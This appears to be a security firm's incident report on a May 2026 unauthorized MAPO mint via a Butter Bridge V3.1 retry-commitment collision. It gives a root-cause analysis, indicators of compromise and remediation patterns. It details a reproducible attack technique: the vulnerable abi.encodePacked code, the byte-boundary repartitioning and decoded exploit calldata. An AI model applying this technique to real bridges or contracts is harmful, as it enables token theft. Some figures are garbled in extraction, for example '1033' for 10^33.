

The logo for DeHacker, featuring the word "DeHacker" in a bold, sans-serif font. The "De" is in a light blue color, and "Hacker" is in a darker blue. The background of the entire image is black with several concentric circles in a light blue color, creating a ripple effect. There are also some blurred light blue circles in the corners.

DeHacker

MAP Protocol / Butter Bridge V3.1 -
Unauthorized MAPO Mint

May 30th, 2026



Contents

1. KEY FACTS	2
2. ROOT CAUSE DETERMINATION	3
3. CHRONOLOGY OF ON-CHAIN EVENTS	4
4. IOC INDEX	6
5. FAULTY RETRY COMMITMENT LOGIC	7
6. COMMITMENT COLLISION · FULL MECHANICS	9
7. EXECUTION TRACE (ETHEREUM REPLAY TX)	11
8. BNB CHAIN (BSC)	12
9. REMEDIATION OPTIONS	13
10. OPERATIONAL RESPONSE FOR INTEGRATORS, DEXS, AND CEXS	15
11. APPENDIX A · DECODED EXPLOIT CALldata	16
12. APPENDIX B · REGISTRATION-PHASE MESSAGEIN EVENT.....	18



1. Key facts

10¹⁵ MAPO Unauthorized mint per exploited chain (10 ³³ raw, 18 decimals)	~52.21 ETH Direct liquidity removed from Uniswap V4 MAPO/ETH (~\$180k)	~4.8M× vs legitimate ~208 M MAPO circulating supply
---	---	--

Dimension	Detail
What happened	On 2026-05-20, Butter Bridge V3.1 caused legacy MAPO to <code>_mint</code> 10 ¹⁵ tokens to actor EOA <code>0x40592025...4279</code> without legitimate cross-chain collateral backing that supply.
Scope	In scope: unauthorized mint of legacy ERC20/BEP20 MAPO on Ethereum and BNB Chain via Butter Bridge V3.1. Not affected: MAP Protocol mainnet native MAPO (separate asset path from these legacy wrapped tokens). Polygon, Arbitrum, and Base received the same patch; no equivalent exploit was observed on those chains (§9). BSC: supply-side impact only - 10 ¹⁵ mint with no reported Uniswap LP drain comparable to Ethereum (§8).
Mechanism (one line)	A <code>NotContract</code> failure stored a retry commitment; a later <code>retryMessageIn</code> repartitioned four dynamic <code>bytes</code> fields so the recomputed hash matched but the decoded message requested a mint. Full mechanics: §6.
Primary contracts	Bridge proxy <code>0x0000317B...6A56</code> · MAPO <code>0x66D79B...509a99</code> - full IoC list: §4.
Chains confirmed	Ethereum (mint + ~1 B MAPO sold) · BNB Chain (mint only, supply-side) - §8.
Residual exposure	~999.999 B MAPO remained in the actor EOA at time of analysis; continued risk to MAPO LPs and CEX listings if trading resumes.
Not caused by	Bridge admin key compromise, forged MAP Relay proof on the registration tx, or a standalone MAPO token defect - ruled out in §2.

Two-phase sequence (registration → replay): §3. Ruled-out hypotheses and confirmed defect: §2.

Technical deep-dive (recommended order): §5 → §6 → §7. BSC context: §8. Deployed fix: §9. Integrator actions: §10.



2. Root cause determination

The following expands the exclusions summarized in §1 and records the confirmed defect.

Hypothesis	Verdict	Basis
Bridge admin key compromise	Ruled out	Bridge admin EOA was never used. Execution used only public <code>entrypoints</code> <code>messageIn</code> and <code>retryMessageIn</code> .
Light-client / MAP Relay proof forgery	Ruled out	<code>Registration</code> <code>messageIn</code> (Tx A) carried a valid proof; the actor did not forge oracle/light-client data. <code>retryMessageIn</code> is designed to skip re-verification and trust the stored commitment.
MAPO token access-control defect	Ruled out	MAPO enforced <code>msg.sender == mos</code> and <code>from == trustedList[fromChain]</code> as intended. The token cannot validate whether bridge retry semantics were manipulated.
Proxy upgrade / initialization flaw	Ruled out	No admin upgrade, role grant, or uninitialized proxy state appears in the exploit path.
Reentrancy, flash loan, or oracle manipulation	Ruled out	Observed trace is commitment registration → replay mint; no reentrancy, flash-loan, or price-oracle dependency.

Confirmed defect. The only exploitable flaw is authenticating retried messages with `keccak256(abi.encodePacked(..., bytes, bytes, bytes, bytes))` over four adjacent dynamic `bytes` fields without length-prefixed boundaries. Static fields (`messageType`, chain IDs, `token`, `amount`, `gasLimit`) were byte-identical between registration and replay and could not be repositioned - confirming a **dynamic-field boundary collision**, not static-header forgery. Full byte-level mechanics: §6.



3. Chronology of on-chain events

The following expands the sequence summarized in §1. Full addresses and transaction hashes: §4. Commitment byte mechanics: §5-§6. BSC exploit context: §8. Deployed patch: §9.

Exploit sequence

Phase	Chain	Block / time	Tx	Event
Registration	Ethereum (1)	25,137,528	0xfe9b130a...56de8	Relayer submits valid MAP Relay (22776) messageIn· Destination has no contract code → NotContract → bridge stores retry commitment (§4). Event decode: Appendix B·
Helper deploy	Ethereum (1)	25,137,528 → 572~44 blocks · ~9 min	-	Actor deploys exploit helper at the prechosen registration destination (§4).
Replay / mint	Ethereum (1)	25,137,572	0x31e56b47...664a	Actor EOA → helper → retryMessageIn with repartitioned dynamic fields. MAPO _mint succeeds; stored commitment consumed. Execution trace: §7. Calldata: Appendix A·
Liquidation	Ethereum (1)	25,137,572+	(multiple)	~1 B MAPO sold into Uniswap V4 MAPO/ETH; ~52.21 ETH extracted. Residual actor balance: §1.
Replay / mint	BNB Chain (56)	2026-05-20 ~16:21 UTC	0x5b1082a0...599	Same abi.encodePacked collision via retryMessageIn· 10 ¹⁵ MAPO mint to actor EOA; supply-side impact only - no equivalent LP drain reported. Context: §8.

MAP source chain (22776): The registration `messageIn` carried a valid MAP Relay proof, but the specific MAP-side initiating `interTransfer` transaction hash was not identified in available on-chain or public materials. Correlation via shared `orderId` (§4) on maposcan remains open.



Response milestones

Post-exploit containment and remediation (approximate; on-chain patch detail: §9).

Date (2026)	Milestone
20 May	Public security alerts circulate; multiple firms track the incident.
20 May	Butter Network acknowledges a contract-layer flaw and pauses ButterSwap operations.
20 May	MAP Protocol pauses ERC20/BEP20 ↔ mainnet MAPO bridge; users advised to avoid trading legacy MAPO on DEXs.
21 May	MAP Protocol publishes formal incident statement (snapshot principles, migration outline).
21 May	Bridge proxies upgraded on BSC, Ethereum, Polygon, Arbitrum, and Base - upgrade txs, blocks, bytecode, and patch detail: §9.



4. IoC index

Indicators of compromise - contracts, accounts, and transaction hashes referenced in this report.
Use for blocklists, monitoring rules, and on-chain lookups.

Item	Address / hash
Bridge proxy (Butter Bridge V3.1)	0x0000317Bec33Af037b5fAb2028f52d14658F6A56
Bridge implementation (pre-patch)	0x92feADa957BBeb17868f9F59AeD548e50191283D
MAPO token (Ethereum / BSC)	0x66D79B8f60ec93Bfce0b56F5Ac14A2714E509a99
MAPO trusted address on MAP Protocol chain (22776)	0x1ad1a4a19bc9983a98f5d9ac8442c6dfc4276167
Actor EOA	0x40592025392BD7d7463711c6E82Ed34241B64279
Registration submitter EOA	0xdb61db25...08153
Exploit helper contract	0x2475396A308861559EF30dc46aad6136367a1C30 (unverified)
Registration transaction (failed <code>messageIn</code> , ETH)	0xfe9b130aeeabdef616a5ed4b100944b33f10d685b892564e4a8622c080656de8
Exploit transaction (replay / mint, ETH)	0x31e56b4737649e0acdb0ebb4eca44d16aeca25f60c022cbde85f092bde27664a
Exploit transaction (replay / mint, BSC)	0x5b1082a01aab905fa095329bfa049645c731e48ad2fefedff7100687af045a99
orderId	0xf2fbaa8a33bc05e0454299f2d43ed99fdb5cf024770484bb598ace5e0c7d4a4
Stored commitment hash (pre-exploit <code>orderList[orderId]</code>)	0xf6e32d1bade0d41d54a9ab057a5df5cb87be81130156d5cc06251a06496caf75
Bridge implementation (post-patch, ETH)	0x12BfB3B58AD02a0DF40ee7186d26266c52D0109c
Bridge implementation (post-patch, BSC)	0x62844d1e...ba6f3e77 (same instruction hash as ETH fix)
Bridge proxy admin (upgrade signer)	0xbbcfbbec...c1c426
BSC bridge upgrade transaction	0x687b14d5...ca5676bb (2026-05-21 ~04:53 UTC)
Ethereum bridge upgrade	Block 25,141,484 (~05:20 UTC 2026-05-21)



5. Faulty retry commitment logic

This section shows **where** the bridge writes and verifies retry commitments in `BridgeAbstract.sol`. How reparsed byte boundaries produce a matching hash: §6.

Fields included in the commitment hash

Field	Type	Encoding
<code>messageType</code>	<code>uint8</code>	Fixed
<code>fromChain, toChain</code>	<code>uint256</code>	Fixed
<code>token</code>	<code>address</code>	Fixed
<code>amount, gasLimit</code>	<code>uint256</code>	Fixed
<code>initiator, from, to, swapData</code>	<code>bytes</code>	Dynamic - concatenated without length prefixes in <code>abi.encodePacked</code>

Write path vs verify path

Path	Function	Behavior
Write	<code>_storeMessageData</code>	On failed delivery, sets <code>orderList[orderId] = uint256(keccak256(abi.encodePacked(...)))</code> over the fields above.
Verify	<code>_getStoredMessage</code>	On <code>retryMessageIn</code> , recomputes the same <code>encodePacked</code> hash from caller-supplied fields; reverts if mismatch; on success sets <code>orderList[orderId] = 0x01</code> .

Commitment write and check (`BridgeAbstract.sol`)

```
// _storeMessageData - write on failure
orderList[_inEvent.orderId] = uint256(
    keccak256(abi.encodePacked(
        _inEvent.messageType, _inEvent.fromChain, _inEvent.toChain,
        _inEvent.token, _inEvent.amount, _inEvent.gasLimit,
        _initiator, _inEvent.from, _inEvent.to, _inEvent.swapData
    ))
);

// _getStoredMessage - verify on retry (same field order, calldata-supplied bytes)
bytes32 retryHash = keccak256(abi.encodePacked(
    inEvent.messageType, inEvent.fromChain, inEvent.toChain,
    _token, _amount, inEvent.gasLimit,
```




```
        initiator, _fromAddress, inEvent.to, inEvent.swapData
    ));
    if (uint256(retryHash) != orderList[_orderId]) revert retry_verify_fail();
    ...
    orderList[_orderId] = 0x01;
```

Why failed delivery still writes a commitment

Step	Condition / action	Outcome
1	messageIn completes light-client verification	Enters _transferIn
2	Destination ! Helper._isContract(to)	Returns via _emitMessageIn with reason NotContract - no token delivery
3	_emitMessageIn with success == false	Calls _storeMessageData → orderList[orderId] populated for later retry

Failure branch (simplified from _transferIn / _emitMessageIn)

```
if (!Helper._isContract(to)) {
    return _emitMessageIn(..., false, ..., bytes("NotContract"));
}
// ...
// _emitMessageIn - on failure:
    _storeMessageData(_initiator, _inEvent, _reason, chainAndGasLimit);
```

The `NotContract` branch is a low-cost way for an actor to force the commitment to be written without putting real work into the message - they only need to name a destination address that has no code at the moment of the original `messageIn` (registration phase in §3).



6. Commitment collision - full mechanics

6.1 The Solidity footgun

`abi.encodePacked` concatenates its arguments without padding and without length prefixes. For multiple dynamic-length values, the boundaries between them are not encoded, so different inputs can produce identical bytes:

```
abi.encodePacked("AB", "CDE") → "ABCDE"
abi.encodePacked("ABC", "DE") → "ABCDE"
```

Solidity docs explicitly warn:

"If you use `keccak256(abi.encodePacked(a, b))` and both `a` and `b` are dynamic types, it is easy to craft collisions in the hash value by moving parts of `a` into `b` and vice-versa."

Butter Bridge made this mistake with four consecutive `bytes` arguments.

6.2 The two-transaction setup

Chronology: §3. Full decoded payloads: **Appendix B** (Tx A registration) and **Appendix A.2** (Tx B `retryMessageIn`).

Tx A - registration phase (block 25,137,528). The actor originated a real cross-chain `interTransfer` on MAP Protocol → Ethereum naming a pre-chosen, not-yet-deployed destination. The bridge's light-client-verified `messageIn` stored commitment `orderList[orderId] =`

`0xf6e32d1bade0d41d54a9ab057a5df5cb87be81130156d5cc06251a06496caf75` after `NotContract` (`to = 0x2475396A...1C30` had no code). Static header fields through `gasLimit` are byte-identical in Tx B and cannot be repositioned.

Tx B - replay phase (block 25,137,572). The actor called `retryMessageIn(...)` with rearranged dynamic `bytes` boundaries. Only the four dynamic fields differ in layout; combined dynamic length unchanged (452 bytes total):

Field	Tx A (byte-length)	Tx B (byte-length)
<code>initiator</code>	<code>0x2475396A...1C30</code> (20)	same address × 3 concatenated (60)
<code>from</code>	<code>0x2475396A...1C30</code> (20)	<code>0x1ad1a4a1...6167</code> (20)
<code>to</code>	<code>0x2475396A...1C30</code> (20)	<code>0x66D79B8f...509a99</code> (20)
<code>swapData</code>	<code>0x1ad1...6167</code> <code>0x66d7...509a</code> <code>0x1de7...</code> (392)	<code>0x1de7...</code> remainder (352)

Between transactions, the actor deployed the exploit helper contract at exactly `0x2475396A...1C30`



(precomputed address; deterministic deployment).

Dynamic-bytes total in both: 452 bytes. Both packings concatenate to the same byte string:

```
Tx A: [2475...1C30][2475...1C30][2475...1C30][1ad1...6167 66d7...509a 1de7... ..]
Tx B: [2475...1C30 2475...1C30 2475...1C30][1ad1...6167][66d7...509a][1de7... ..]
```

Same 452 bytes, identical static fields ahead of them → same keccak256 → commitment check passes.

6.3 Mathematical verification

Reconstructed packed bytes from the actor's `retryMessageIn` arguments and recomputed `keccak256`:

```
computed: 0xf6e32d1bade0d41d54a9ab057a5df5cb87be81130156d5cc06251a06496caf75
stored:    0xf6e32d1bade0d41d54a9ab057a5df5cb87be81130156d5cc06251a06496caf75
MATCH:     True
```

Pre-exploit `orderList[orderId]` at block 25,137,571 = 0xf6e32d1b...caf75 (non-zero, the stored commitment). Post-exploit = 0x01 (consumed). Both confirmed via `eth_call` against the bridge proxy.

6.4 Why MAPO didn't catch it

`MapoExecutor.mapoExecute(...)` enforces:

```
require(_msgSender() == address(mos), "MapoExecutor: invalid mos caller");
require(
    _fromAddress.length == tempFromAddress.length &&
    tempFromAddress.length > 0 &&
    keccak256(_fromAddress) == keccak256(tempFromAddress),
    "MapoExecutor: invalid source chain address"
);
```

- `msg.sender == mos` - passes; the bridge proxy is MAPO's trusted MOS.
- `_fromAddress == trustedList[22776]` - passes because the rearranged `from = 0x1ad1a4a1...6167` is exactly MAPO's trusted MAP-Protocol-side address (those bytes were embedded in `swapData` of Tx A specifically so the boundary shift would slot them into `from`).

Once `_execute` runs, the reinterpreted `swapData` decodes cleanly as

```
INTERCHAIN_TRANSFER(receiver=actor, amount=1033, decimals=18) → _createTokenTo → _mint(actor, 1033).
```

6.5 Why the leading bytes of `swapData` in Tx A look "convenient"

They were chosen by the actor. The source-chain MAPO `interTransfer` allows arbitrary `swapData` payload bytes; the actor put `0x1ad1a4a1...6167 || 0x66d79b8f...509a99 || 0x1de78eb8...` at the start of `swapData` so that when re-sliced (by moving the `from/to/swapData` boundaries inward) those bytes become the trusted MAPO addresses and the `INTERCHAIN_TRANSFER` magic constant. From outside the bridge, the Tx A payload looked like an opaque message destined for a contract that didn't exist yet.



7. Execution trace (Ethereum replay tx)

On-chain call path for the Ethereum replay / mint transaction in §3 (tx hash: §4), corroborating the collision in §5-§6. MAPO access checks and mint path: §6.4; calldata decode: **Appendix A.3-A.5**. This trace uses `retryMessageIn` - the registration tx in §3 instead enters via `messageIn` with light-client verification.

External call hops

Hop	Caller → callee	Op	Selector	Notes
1	Actor EOA → exploit helper (§4)	CALL	0x7d217d5b	74-byte calldata; single <code>bytes32</code> argument (<code>orderId</code> : §4).
2	Helper → bridge proxy (§4)	CALL	0x3291ce30	<code>retryMessageIn</code> ; 1064-byte calldata with repartitioned dynamic fields.
3	Proxy → bridge implementation (§4)	DELEGATECALL	-	Pre-patch implementation executes proxy storage logic.
4	Bridge → MAPO token (§4)	CALL	0x994e919a	<code>mapoExecute</code> : 612-byte calldata - MAPO checks and mint: §6.4, Appendix A.3-A.5 .



8. BNB Chain (BSC) - MAP / Butter Bridge V3.1

The BSC MAP / Butter Bridge V3.1 contract was exploited on 2026-05-20. The BSC-side damage was supply-side only (MAPO inflation), not a custody drain.

Contract exploited	0x0000317Bec33Af037b5fAb2028f52d14658F6A56 (same address/code family as on Ethereum)
Exploit tx	0x5b1082a01aab905fa095329bfa049645c731e48ad2fefedff7100687af045a99 at 2026-05-20 16:21:24 UTC
Method	retryMessageIn (0xffcbbdf1a)
Mechanism	Same <code>abi.encodePacked</code> collision used against the Ethereum bridge
Result	Minted 1,000,000,000,000,000 MAPO (10^{15})
Actor	0x40592025392BD7d7463711c6E82Ed34241B64279

Post-exploit status (BSC)

Only MAPO is and was impacted on BSC. The actor never moved stolen funds on BSC - it's sitting dormant in their BSC EOA. Bridge custody on BSC and other Butter infra on BSC are **not** drained. On-chain patch deployed May 2026 (all chains): **\$9**.

Note: On-chain review indicates the bridge minter privilege remains operational under the same admin configuration observed pre-patch. The commitment-collision defect was remediated (**\$9**), but MAPO mint authorization has not been revoked. Before exchange re-enablement, this privilege should be governed by multisig/timelock controls and explicit mint-cap limits.



9. Remediation options

Any **one** primary option below closes the commitment collision class described in §5-§6.

Primary mitigations

Each row is sufficient on its own to prevent this attack class.

ID	Approach	Change	Effect
A	Length-prefixed encoding	Replace <code>abi.encodePacked</code> with <code>abi.encode</code> for commitment fields	Dynamic field boundaries are unambiguous in the hash input
B	Per-field digests	Pre-hash each dynamic <code>bytes</code> field, then pack fixed-size digests with fixed-width header fields	Same total bytes cannot be reparsed across adjacent dynamic fields
C	Canonical storage	Store verified <code>MessageInEvent</code> by value; <code>retryMessageIn</code> reads from storage instead of caller-supplied bytes	Removes the caller-reconstructed commitment surface entirely

Options A and B break the boundary collision; option C makes commitment forgery impossible by construction.

Pattern B - pre-hash dynamic fields

```
keccak256(abi.encodePacked(
  messageType, fromChain, toChain, token, amount, gasLimit,
  keccak256(initiator),
  keccak256(from),
  keccak256(to),
  keccak256(swapData)
))
```

Defense in depth (optional)

Measure	Behavior
Revert on <code>NotContract</code>	Do not auto-store failed messages when <code>isContract(to) == false</code> - revert instead of writing <code>orderList</code> .
Explicit replay flag	Require an explicit <code>replayable=true</code> (or equivalent) flag in the source-chain payload before persisting a retry commitment.

Deployed fix (May 2026)

Aligns with **approach A** plus a separate `keccak256(swapData)` term in `_getStoreMessageHash`. Post-patch implementation addresses, upgrade admin, and upgrade transactions: §4. The fix replaces



`abi.encodePacked` with `abi.encode + keccak256(swapData)` in `_getStoreMessageHash`, closing the retry hash-collision. Same patch family shipped on Polygon, Arbitrum, and Base (no exploit observed on those chains).



10. Operational response for integrators, DEXs, and CEXs

Actions below use only on-chain IoCs from §4 and chronology from §3. Legacy MAPO supply should be treated as compromised until an official migration or re-issuance path is published.

Immediate and hold-period actions

Phase	Audience	Action
Immediate	DEX / CEX	Pause MAPO trading and deposits/withdrawals.
Immediate	DEX (LP operators)	Remove or drain ETH/MAPO and stable/MAPO liquidity pools.
Immediate	All integrators	Block the actor EOA and exploit helper contract (§4).
Until recovery plan	All integrators	Wait for MAP Protocol / Butter to confirm bridge state and announce migration / re-issuance.
Until recovery plan	All venues	Treat existing MAPO supply as untrustworthy until a recovery plan is published (residual exposure: §1).

Blocklist and monitoring

Block the actor EOA and exploit helper contract; monitor and block interactions involving the known exploit transactions. Full addresses and hashes: §4 (Actor EOA, Exploit helper contract, registration tx, ETH replay tx, BSC replay tx).

Supply assumption. Do not resume MAPO markets on pre-incident supply figures alone; follow MAP Protocol / Butter for migration / re-issuance before re-enabling deposits or withdrawals.



Appendix A - Decoded exploit calldata (Ethereum)

A.1 Actor EOA → exploit helper (selector 0x7d217d5b)

```
0x7d217d5b
  f2fbaa8a33bc05e0454299f2d43ed99fdb5cf024770484bbb598ace5e0c7d4a4  // single bytes32 arg =
  orderId
```

A.2 Exploit helper → Bridge proxy (selector 0x3291ce30 = `retryMessageIn`)

Decoded args

```
_chainAndGas    = 0x58f8000000000000000000000000000000000000000000000000000000000000
  fromChain     = 22776      (MAP Protocol)
  toChain       = 1          (Ethereum)
  gasLimit      = 0
_orderId       = 0xf2fbaa8a33bc05e0454299f2d43ed99fdb5cf024770484bbb598ace5e0c7d4a4
_token         = 0x0000000000000000000000000000000000000000000000000000000000000000
_amount        = 0
_fromAddress    = 0x1ad1a4a19bc9983a98f5d9ac8442c6dfc4276167                      (20
bytes)
_payload       = abi.encode(
    uint8  messageType = 1,
    uint256 gasLimit   = 10000,
    bytes  initiator   = 0x2475396a...1c30 × 3                                (60
bytes),
    bytes  to          = 0x66D79B8f...509a99                                (20
bytes),
    bytes  swapData    = (see A.3)                                           (352
bytes)
)
_retryMessage  = 0x (empty)
```

A.3 Inner swapData decoded as MAPO sees it

```
abi.decode(swapData, (bytes32 interType, bytes payload)):
interType = 0x1de78eb8658305a581b2f1610c96707b0204d5cba6a782b313672045fa5a87c8
          = MAPO's deployed INTERCHAIN_TRANSFER constant
          (verified via INTERCHAIN_TRANSFER() getter = sel 0x561cbfab on MAPO)

abi.decode(payload, (bytes, bytes, uint256, uint256)):
fromBytes    = 0x40592025392bd7d7463711c6e82ed34241b64279    (actor EOA)
receiverBytes = 0x40592025392bd7d7463711c6e82ed34241b64279    (actor EOA)
amount       = 10000000000000000000000000000000000000000000000000000000000000000
              (1033 raw)
decimals     = 18                                              → 1015 MAPO minted
```

A.4 Bridge proxy → MAPO (selector 0x994e919a = `mapoExecute`)

```
_fromChain    = 22776
```



```
_toChain      = 1
_fromAddress  = 0x1ad1a4a19bc9983a98f5d9ac8442c6dfc4276167    (passes trustedList[22776] check)
_orderId     = 0xf2fbaa8a33bc05e0454299f2d43ed99fdb5cf024770484bbb598ace5e0c7d4a4
_message     = swapData from A.3
```

A.5 Receipt of exploit tx - single MAPO Transfer event

```
Transfer(
  from = 0x0000000000000000000000000000000000000000000000000000000000000000,
  to   = 0x40592025392bd7d7463711c6e82ed34241b64279,    (actor)
  value = 10000000000000000000000000000000000000000000000000000000000000000    (1033 raw)
)
```



Appendix B - Registration-phase MessageIn event for the same orderId

Block 25,137,528, tx 0xfe9b130aeeabdef616a5ed4b100944b33f10d685b892564e4a8622c080656de8, emitted by bridge proxy:

```
topic0 = 0x13d3a5b2d6aaada5c31b5654f99c2ab9587cf9a53ee4b2e25b6c68a8dfaa4472 //
MessageIn(...)
topic1 = 0xf2fbaa8a33bc05e0454299f2d43ed99fdb5cf024770484bbb598ace5e0c7d4a4 // indexed
orderId
topic2 = 0x000000000000058f8000000000000001000000000000000000000000000000b3a // indexed
chainAndGas

decoded data:
  token   = 0x0000000000000000000000000000000000000000000000000000000000000000
  amount  = 0
  to      = 0x2475396A308861559EF30dc46aad6136367a1c30 (the not-yet-deployed exploit
address)
  from    = 0x2475396a308861559ef30dc46aad6136367a1c30 (20 bytes)
  payload = abi.encode(
    uint8  messageType = 1,
    uint256 gasLimit   = 10000,
    bytes  initiator   = 0x2475396a...1C30 (20 bytes),
    bytes  to          = 0x2475396a...1C30 (20 bytes),
    bytes  swapData    = 0x1ad1a4a1...6167 ||
                        0x66d79b8f...509a99 ||
                        0x1de78eb8... (392 bytes)
  )
  success = false
  reason  = 0x4e6f74436f6e7472616374 ("NotContract")
```

This is the trigger that registered `orderList[orderId] = 0xf6e32d1b...caf75`.